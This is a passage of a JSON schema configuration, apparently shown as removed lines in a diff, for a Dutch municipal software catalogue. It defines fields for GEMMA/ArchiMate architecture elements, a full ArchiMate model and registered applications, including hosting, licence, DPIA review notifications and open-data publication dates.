}, - "architectureLayer": { - "description": "Architectuurlaag van dit Element", - "type": "string", - "facetable": true, - "title": "architectureLayer", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "architectureTool": { - "description": "Architectuurtool van dit Element", - "type": "string", - "facetable": false, - "title": "architectureTool", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "bbn": { - "description": "BBN van dit Element", - "type": "string", - "facetable": false, - "title": "bbn", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "maintainer": { - "description": "Beheerder van dit Element", - "type": "string", - "facetable": true, - "title": "maintainer", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "policyDomain": { - "description": "Beleidsdomein van dit Element", - "type": "string", - "facetable": true, - "title": "policyDomain", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "availability": { - "description": "Beschikbaarheid van dit Element", - "type": "string", - "facetable": false, - "title": "availability", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "availabilityPrimaryReason": { - "description": "Beschikbaarheid belangrijkste reden van dit Element", - "type": "string", - "facetable": false, - "title": "availabilityPrimaryReason", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "bivScoreBbn": { - "description": "BIV score BBN van dit Element", - "type": "string", - "facetable": false, - "title": "bivScoreBbn", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "bron": { - "description": "Bron van dit Element", - "type": "string", - "facetable": false, - "title": "bron", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "compliancy": { - "description": "Compliancy van dit Element", - "type": "string", - "facetable": false, - "title": "compliancy", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "compliancyUrl": { - "description": "Compliancy URL van dit Element", - "type": "string", - "facetable": false, - "title": "compliancyUrl", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "contextview": { - "description": "Contextview van dit Element", - "type": "string", - "facetable": false, - "title": "contextview", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "detailLevel": { - "description": "Detailniveau van dit Element", - "type": "string", - "facetable": true, - "title": "detailLevel", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "domein": { - "description": "Domein van dit Element", - "type": "string", - "facetable": true, - "title": "domain", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "owner": { - "description": "Eigenaar van dit Element", - "type": "string", - "facetable": true, - "title": "owner", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "excludefromview": { - "description": "Exclude from view van dit Element", - "type": "string", - "facetable": false, - "title": "excludefromview", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "grouping": { - "description": "Groepering van dit Element", - "type": "string", - "facetable": true, - "title": "grouping", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "hasSource": { - "description": "Heeft bron van dit Element", - "type": "string", - "facetable": false, - "title": "hasSource", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "id": { - "description": "ID van dit Element", - "type": "string", - "facetable": false, - "title": "id", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "implications": { - "description": "Implicaties van dit Element", - "type": "string", - "facetable": false, - "title": "implications", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "integrity": { - "description": "Integriteit van dit Element", - "type": "string", - "facetable": false, - "title": "integrity", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "integrityPrimaryReason": { - "description": "Integriteit belangrijkste reden van dit Element", - "type": "string", - "facetable": false, - "title": "integrityPrimaryReason", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "latestSyncDate": { - "description": "Latest Sync Date van dit Element", - "type": "string", - "facetable": false, - "title": "latestSyncDate", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "letOn": { - "description": "Let op van dit Element", - "type": "string", - "facetable": false, - "title": "letOn", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "model": { - "description": "Model van dit Element", - "type": "string", - "facetable": false, - "title": "model", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "noraCoreValue": { - "description": "NORA kernwaarde van dit Element", - "type": "string", - "facetable": true, - "title": "noraCoreValue", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "noraQualityGoal": { - "description": "NORA kwaliteitsdoel van dit Element", - "type": "string", - "facetable": true, - "title": "noraQualityGoal", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "noraPrincipe": { - "description": "NORA principe van dit Element", - "type": "string", - "facetable": true, - "title": "noraPrincipe", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "projectstatus": { - "description": "Projectstatus van dit Element", - "type": "string", - "facetable": true, - "title": "projectstatus", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "publish": { - "description": "Publiceren van dit Element", - "type": "string", - "facetable": false, - "title": "publish", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "release": { - "description": "Release van dit Element", - "type": "string", - "facetable": false, - "title": "release", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "roundtrip": { - "description": "Roundtrip van dit Element", - "type": "string", - "facetable": false, - "title": "roundtrip", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "scope": { - "description": "Scope van dit Element", - "type": "string", - "facetable": true, - "title": "scope", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "status": { - "description": "Status van dit Element", - "type": "string", - "facetable": false, - "title": "status", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "synoniemen": { - "description": "Synoniemen van dit Element", - "type": "string", - "facetable": false, - "title": "synoniemen", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "notes": { - "description": "Toelichting van dit Element", - "type": "string", - "facetable": false, - "title": "notes", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "typeBeforeConversion": { - "description": "Type before conversion van dit Element", - "type": "string", - "facetable": false, - "title": "typeBeforeConversion", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "typeModel": { - "description": "Type model van dit Element", - "type": "string", - "facetable": false, - "title": "typeModel", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "typeUri": { - "description": "Type URI van dit Element", - "type": "string", - "facetable": false, - "title": "typeUri", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "typeProvision": { - "description": "Type voorziening van dit Element", - "type": "string", - "facetable": true, - "title": "typeProvision", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "uri": { - "description": "URI van dit Element", - "type": "string", - "facetable": false, - "title": "uri", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "url": { - "description": "URL van dit Element", - "type": "string", - "facetable": false, - "title": "url", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "verbindingsrol": { - "description": "Verbindingsrol van dit Element", - "type": "string", - "facetable": false, - "title": "verbindingsrol", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "versionDesignation": { - "description": "Versieaanduiding van dit Element", - "type": "string", - "facetable": false, - "title": "versionDesignation", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "confidentiality": { - "description": "Vertrouwelijkheid van dit Element", - "type": "string", - "facetable": false, - "title": "confidentiality", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "confidentialityPrimaryReason": { - "description": "Vertrouwelijkheid belangrijkste reden van dit Element", - "type": "string", - "facetable": false, - "title": "confidentialityPrimaryReason", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "ggmSource": { - "description": "GGM bron van dit Element", - "type": "string", - "facetable": false, - "title": "ggmSource", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "ggmDateTimeExport": { - "description": "GGM datum tijd export van dit Element", - "type": "string", - "facetable": false, - "title": "ggmDateTimeExport", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "ggmDefinition": { - "description": "GGM definitie van dit Element", - "type": "string", - "facetable": false, - "title": "ggmDefinition", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "ggm-guid": { - "description": "GGM guid van dit Element", - "type": "string", - "facetable": false, - "title": "ggm-guid", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "ggmName": { - "description": "GGM naam van dit Element", - "type": "string", - "facetable": false, - "title": "ggmName", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "ggmSpecialisations": { - "description": "GGM specialisaties van dit Element", - "type": "string", - "facetable": false, - "title": "ggmSpecialisations", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "ggmNotes": { - "description": "GGM toelichting van dit Element", - "type": "string", - "facetable": false, - "title": "ggmNotes", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "ggm-type": { - "description": "GGM type van dit Element", - "type": "string", - "facetable": false, - "title": "ggm-type", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "ggm-uml-type": { - "description": "GGM uml type van dit Element", - "type": "string", - "facetable": false, - "title": "ggm-uml-type", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "apiPortal": { - "description": "API portaal van dit Element", - "type": "string", - "facetable": false, - "title": "apiPortal", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "apiPortalUrl": { - "description": "API portaal URL van dit Element", - "type": "string", - "facetable": false, - "title": "apiPortalUrl", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "omschrijving": { - "description": "Summary van dit Element", - "type": "string", - "facetable": false, - "title": "summary", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "recommendedStandards": { - "description": "Array van aanbevolen standaarden voor dit referentiecomponent", - "type": "array", - "facetable": false, - "title": "Aanbevolen Standaarden", - "items": { - "type": "object", - "$ref": "#/components/schemas/element", - "objectConfiguration": { - "handling": "related-object" - } - }, - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "mandatoryStandards": { - "description": "Array van verplichte standaarden voor dit referentiecomponent", - "type": "array", - "facetable": false, - "title": "Verplichte Standaarden", - "items": { - "type": "object", - "$ref": "#/components/schemas/element", - "objectConfiguration": { - "handling": "related-object" - } - }, - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "standards": { - "description": "Array van alle standaarden (aanbevolen + verplicht) - combined inversedBy lookup", - "type": "array", - "facetable": false, - "title": "Standaarden", - "items": { - "type": "object", - "$ref": "#/components/schemas/element", - "objectConfiguration": { - "handling": "related-object" - } - }, - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "recommendedForReferenceComponent": { - "description": "UUID van het Referentiecomponent waarvoor deze standaard aanbevolen is", - "type": "object", - "facetable": false, - "visible": false, - "title": "Aanbevolen Voor Referentiecomponent", - "$ref": "#/components/schemas/element", - "objectConfiguration": { - "handling": "related-object" - }, - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "mandatoryForReferenceComponent": { - "description": "UUID van het Referentiecomponent waarvoor deze standaard verplicht is", - "type": "object", - "facetable": false, - "visible": false, - "title": "Verplicht Voor Referentiecomponent", - "$ref": "#/components/schemas/element", - "objectConfiguration": { - "handling": "related-object" - }, - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "standardVersions": { - "description": "Array van versies voor dit standaard element (inversedBy lookup)", - "type": "array", - "facetable": false, - "title": "Standaardversies", - "items": { - "type": "object", - "$ref": "#/components/schemas/element", - "objectConfiguration": { - "handling": "related-object" - }, - "inversedBy": "standard" - }, - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "standard": { - "description": "UUID van de Standaard waartoe deze standaardversie behoort", - "type": "object", - "facetable": false, - "visible": false, - "title": "Standaard", - "$ref": "#/components/schemas/element", - "objectConfiguration": { - "handling": "related-object" - }, - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "linkedStandardVersions": { - "description": "Array van standaardversies gekoppeld aan dit referentiecomponent (via standaarden)", - "type": "array", - "facetable": false, - "title": "Gekoppelde Standaardversies", - "items": { - "type": "object", - "$ref": "#/components/schemas/element", - "objectConfiguration": { - "handling": "related-object" - } - } - }, - "xml": { - "type": "object", - "title": "XML Data", - "description": "Original ArchiMate XML structure for round-trip export fidelity" - } - }, - "archive": [], - "source": "internal", - "hardValidation": true, - "immutable": false, - "searchable": true, - "maxDepth": 4, - "owner": "softwarecatalog", - "application": "softwarecatalog", - "organisation": null, - "groups": null, - "authorization": { - "read": [ - "public" - ] - }, - "configuration": { - "objectNameField": "name", - "objectSummaryField": "summary", - "objectDescriptionField": "documentation", - "x-openregister-shareable": true - } - }, - "model": { - "uri": null, - "slug": "model", - "title": "Model", - "description": "AMEF Model - Volledig ArchiMate model met alle elementen, relaties en views", - "version": "0.0.43", - "omschrijving": "", - "icon": "Database", - "required": [ - "xmlns", - "xsi", - "schemaLocation", - "identifier", - "name", - "nameLong", - "version", - "documentation", - "documentationLong", - "properties", - "elements", - "relationships", - "organizations", - "propertyDefinitions", - "views" - ], - "properties": { - "xmlns": { - "description": "De xmlns van dit GEMMA Model", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "http://www.opengroup.org/xsd/archimate/3.0/", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "xmlns" - }, - "xsi": { - "description": "De xsi van dit GEMMA Model", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "http://www.w3.org/2001/XMLSchema-instance", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "xsi" - }, - "schemaLocation": { - "description": "De schemaLocation van dit GEMMA Model", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "http://www.opengroup.org/xsd/archimate/3.0/ http://www.opengroup.org/xsd/archimate/3.1/archimate3_Diagram.xsd", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "schemaLocation" - }, - "identifier": { - "description": "De identifier van dit GEMMA Model", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "id-b58b6b03-a59d-472b-bd87-88ba77ded4e6", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "identifier" - }, - "name": { - "description": "De name van dit GEMMA Model", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "GEMMA release (test)", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "name" - }, - "nameLong": { - "description": "De name-language van dit GEMMA Model", - "type": "string", - "minLength": 2, - "maxLength": 2, - "example": "nl", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "nameLong" - }, - "version": { - "description": "De version van dit GEMMA Model", - "type": "string", - "minLength": 3, - "maxLength": null, - "example": "3.0", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "version" - }, - "documentation": { - "description": "De documentation van dit GEMMA Model", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "De GEMeentelijk Model Architectuur (GEMMA) bevat een blauwdruk van de gemeente en haar informatievoorziening. De GEMMA kan worden gebruikt als basis voor de projectmodellen", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "documentation" - }, - "documentationLong": { - "description": "De documentation-language van dit GEMMA Model", - "type": "string", - "minLength": 2, - "maxLength": 2, - "example": "nl", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "documentationLong" - }, - "properties": { - "description": "De properties van dit GEMMA Model", - "type": "array", - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": 1, - "maxItems": null, - "$ref": "", - "items": { - "cascadeDelete": true, - "$ref": "#/components/schemas/property-definition", - "type": "object" - }, - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "properties" - }, - "elements": { - "description": "De elements van dit GEMMA Model", - "type": "array", - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": 1, - "maxItems": null, - "$ref": "", - "items": { - "cascadeDelete": true, - "$ref": "#/components/schemas/element", - "type": "object" - }, - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "elements" - }, - "relationships": { - "description": "De relationships van dit GEMMA Model", - "type": "array", - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": 1, - "maxItems": null, - "$ref": "", - "items": { - "cascadeDelete": true, - "$ref": "#/components/schemas/relation", - "type": "object" - }, - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "relationships" - }, - "organizations": { - "description": "De organizations van dit GEMMA Model", - "type": "array", - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": 1, - "maxItems": null, - "$ref": "", - "items": { - "cascadeDelete": true, - "$ref": "#/components/schemas/organization", - "type": "object" - }, - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "organizations" - }, - "propertyDefinitions": { - "description": "De propertyDefinitions van dit GEMMA Model", - "type": "array", - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": 1, - "maxItems": null, - "$ref": "", - "items": { - "cascadeDelete": true, - "$ref": "#/components/schemas/property-definition", - "type": "object" - }, - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "propertyDefinitions" - }, - "views": { - "description": "De views van dit GEMMA Model", - "type": "array", - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": 1, - "maxItems": null, - "$ref": "", - "items": { - "cascadeDelete": true, - "$ref": "#/components/schemas/view", - "type": "object" - }, - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "views" - }, - "xml": { - "type": "object", - "title": "XML Data", - "description": "Original ArchiMate XML structure for round-trip export fidelity" - } - }, - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 4, - "owner": null, - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "read": [ - "public" - ] - }, - "configuration": { - "autoPublish": false, - "objectNameField": "name" - } - }, - "module": { - "uri": null, - "slug": "module", - "x-schema-org": "schema:SoftwareApplication", - "x-openregister-notifications": { - "dpia-review-overdue": { - "trigger": { - "type": "scheduled", - "intervalSec": 86400, - "filter": { - "dpiaStatus": { - "operator": "equals", - "value": "executed" - }, - "dpiaNextAssessment": { - "operator": "withinNext", - "value": "P0D" - } - } - }, - "enabled": true, - "channels": [ - "nc-notification", - "email" - ], - "recipients": [ - { - "kind": "groups", - "groups": [ - "software-catalog-admins" - ] - }, - { - "kind": "object-acl", - "permission": "manage" - } - ], - "subject": { - "nl": "DPIA-beoordeling verlopen: {{naam}} (uiterlijk {{dpiaVolgendeBeoordeling}})", - "en": "DPIA review overdue: {{naam}} (due {{dpiaVolgendeBeoordeling}})" - } - } - }, - "title": "Application", - "description": "Een applicatie is een softwarecomponent (applicatie of systeemsoftware)", - "version": "0.3.3", - "omschrijving": "", - "icon": "Package", - "required": [ - "name" - ], - "properties": { - "name": { - "type": "string", - "description": "Naam van uw applicatie", - "title": "Name", - "order": 1, - "facetable": false, - "required": true, - "maxLength": 200, - "table": { - "default": true - }, - "example": "Bijvoorbeeld: VNG Applicatie Suite" - }, - "shortDescription": { - "type": "string", - "description": "Een korte beschrijving van de applicatie voor o.a. in de zoekresultaten.", - "title": "Short description", - "order": 2, - "facetable": false, - "required": false, - "maxLength": 255, - "table": { - "default": true - }, - "example": "Bijvoorbeeld: Een korte samenvatting van de applicatie" - }, - "longDescription": { - "type": "string", - "description": "Een uitgebreide omschrijving van uw applicatie. Dit kan met mark down opgemaakt worden.", - "title": "Extended description", - "order": 3, - "facetable": false, - "format": "markdown", - "maxLength": 5000, - "example": "Bijvoorbeeld: Een uitgebreide beschrijving van de applicatie met alle functionaliteiten en kenmerken" - }, - "website": { - "description": "Een URL naar uw applicatie. Default website van de organisatie", - "type": "string", - "format": "url", - "required": false, - "visible": true, - "order": 4, - "maxLength": 500, - "table": { - "default": true - }, - "facetable": false, - "title": "Website", - "example": "https://voorbeeld.nl/applicatie" - }, - "contactPerson": { - "description": "Selecteer de contactpersoon voor deze applicatie", - "type": "object", - "visible": true, - "order": 5, - "facetable": false, - "title": "Contact person", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/contactPerson", - "x-relation-filter": { - "organization": "@object.provider" - } - }, - "cloudDienstverleningsmodel": { - "description": "Kies één of meerdere hosting typen waarmee de applicatie wordt aangeboden.", - "type": "array", - "items": { - "type": "string", - "enum": [ - "On-premises (self-managed)", - "IaaS", - "PaaS", - "SaaS" - ] - }, - "order": 6, - "objectConfiguration": [], - "fileConfiguration": [], - "oneOf": [], - "facetable": true, - "title": "Hosting", - "example": [ - "SaaS" - ] - }, - "hostingJurisdiction": { - "description": "Kies de wetgeving die geldt voor de opgeslagen gegevens.", - "type": "string", - "visible": true, - "order": 7, - "enum": [ - "NL", - "EU", - "US", - "Elsewhere" - ], - "facetable": true, - "title": "Jurisdiction", - "example": "Bijvoorbeeld: NL" - }, - "hostingLocation": { - "description": "Kies het land of continent waar de applicatie wordt gehost.", - "type": "string", - "visible": true, - "order": 8, - "enum": [ - "NL", - "EU", - "US", - "Elsewhere" - ], - "facetable": true, - "title": "Hosting location", - "example": "Bijvoorbeeld: NL" - }, - "provider": { - "referenceSemanticType": "https://openregister.app/ns#Vendor", - "description": "De aanbieder van de applicatie", - "type": "object", - "visible": true, - "order": 9, - "facetable": true, - "table": { - "default": true - }, - "title": "Supplier", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/organization" - }, - "licentietype": { - "description": "Biedt u de applicatie aan onder een closed source licentie of open source licentie?", - "type": "string", - "visible": true, - "order": 9, - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "table": { - "default": true - }, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "", - "default": "Closed source", - "enum": [ - "Closed source", - "Open source" - ], - "objectConfiguration": [], - "fileConfiguration": [], - "oneOf": [], - "facetable": true, - "title": "License type" - }, - "licence": { - "description": "Selecteer één van de veel gebruikte open source licenties.", - "type": "string", - "visible": true, - "order": 10, - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "", - "objectConfiguration": [], - "fileConfiguration": [], - "oneOf": [], - "facetable": false, - "enum": [ - "MIT License", - "GNU General Public License (GPL)", - "Apache License 2.0", - "BSD License (Berkeley Software Distribution)", - "European Union Public Licence (EUPL), version 1.2" - ], - "title": "License" - }, - "referenceComponents": { - "description": "GEMMA referentiecomponenten die de applicatie implementeert", - "type": "array", - "visible": true, - "order": 9, - "facetable": true, - "title": "Reference components", - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object", - "queryParams": "gemmaType=referentiecomponent&_extend=aanbevolenStandaarden,verplichteStandaarden" - }, - "$ref": "#/components/schemas/element" - }, - "hideOnForm": true - }, - "type": { - "description": "Het type applicatie zoals geregistreerd in de catalogus", - "type": "string", - "visible": false, - "order": 11, - "facetable": false, - "title": "Type", - "default": "Application", - "enum": [ - "Application", - "System software" - ] - }, - "logo": { - "description": "Het logo van de applicatie of de organisatie.", - "type": "file", - "format": "base64", - "visible": true, - "order": 18, - "facetable": false, - "title": "Logo", - "table": { - "default": true - }, - "fileConfiguration": { - "allowedMimeTypes": [ - "image/jpeg", - "image/png", - "image/gif", - "image/svg+xml", - "image/webp" - ], - "maxSize": 5242880 - } - }, - "diensten": { - "description": "De diensten waarvan deze applicatie onderdeel is", - "type": "array", - "visible": true, - "order": 21, - "facetable": false, - "title": "Services", - "hideOnForm": true, - "table": { - "default": true - }, - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/catalogService", - "inversedBy": "modules" - } - }, - "koppelingen": { - "description": "De koppelingen waarbij deze applicatie betrokken is", - "type": "array", - "visible": true, - "order": 22, - "facetable": false, - "title": "Connections", - "hideOnForm": true, - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/connection", - "inversedBy": [ - "moduleA", - "moduleB" - ] - } - }, - "compliancy": { - "description": "De standaarden waar deze applicatie aan voldoet (compliance registraties)", - "type": "array", - "visible": true, - "order": 23, - "facetable": false, - "title": "Compliance", - "hideOnForm": true, - "$ref": "#/components/schemas/compliancy", - "x-relation-filter": { - "module": "@objectId" - }, - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/compliancy", - "inversedBy": "module" - } - }, - "standards": { - "description": "Een array van amef id's van standaarden die deze applicatie implementeert", - "type": "array", - "visible": false, - "order": 24, - "facetable": false, - "title": "AMEF standards", - "hideOnForm": true, - "items": { - "type": "string" - } - }, - "standardsGemma": { - "description": "Een array van gemma id's van standaarden die deze applicatie implementeert", - "type": "array", - "visible": false, - "order": 25, - "facetable": false, - "title": "GEMMA standards", - "hideOnForm": true, - "items": { - "type": "string" - } - }, - "standardVersions": { - "description": "De standaardversies die deze applicatie implementeert", - "type": "array", - "visible": true, - "order": 26, - "facetable": true, - "title": "Standard versions", - "hideOnForm": true, - "table": { - "default": true - }, - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object", - "queryParams": "gemmaType=standaardversie" - }, - "$ref": "#/components/schemas/element" - } - }, - "moduleVersions": { - "description": "De versies van deze applicatie", - "type": "array", - "visible": true, - "order": 26, - "facetable": false, - "title": "Application versions", - "hideOnForm": true, - "$ref": "#/components/schemas/moduleVersion", - "x-relation-filter": { - "module": "@objectId" - }, - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/moduleVersion", - "inversedBy": "module" - } - }, - "usages": { - "description": "Het gebruik van deze applicatie", - "type": "array", - "visible": false, - "order": 27, - "facetable": false, - "title": "Usage", - "hideOnForm": true, - "$ref": "#/components/schemas/usage", - "x-relation-filter": { - "module": "@objectId" - }, - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/usage" - } - }, - "registeredBy": { - "description": "Technische property die wordt gebruikt voor RBAC-doeleinden (toegangsbeheer op basis van partijtype)", - "type": "string", - "order": 30, - "facetable": false, - "title": "Registered by", - "visible": false, - "hideOnForm": true, - "enum": [ - "Municipality", - "Application", - "Collaboration", - "Supplier" - ] - }, - "publicationDate": { - "description": "Publication date as open data. Anonymous (public) readers can see this module once publicatiedatum is set and not in the future. Set by the open-data publish action; cleared by depublish.", - "type": "string", - "format": "date-time", - "visible": true, - "order": 50, - "facetable": false, - "title": "Publication date" - }, - "depublicationDate": { - "description": "Depublication date. When set (and not in the future) the module is withdrawn from the open-data surface. Set by the depublish action.", - "type": "string", - "format": "date-time", - "visible": true, - "order": 51, - "facetable": false, - "title": "Unpublication date" - }, - "eolProductSlug": { - 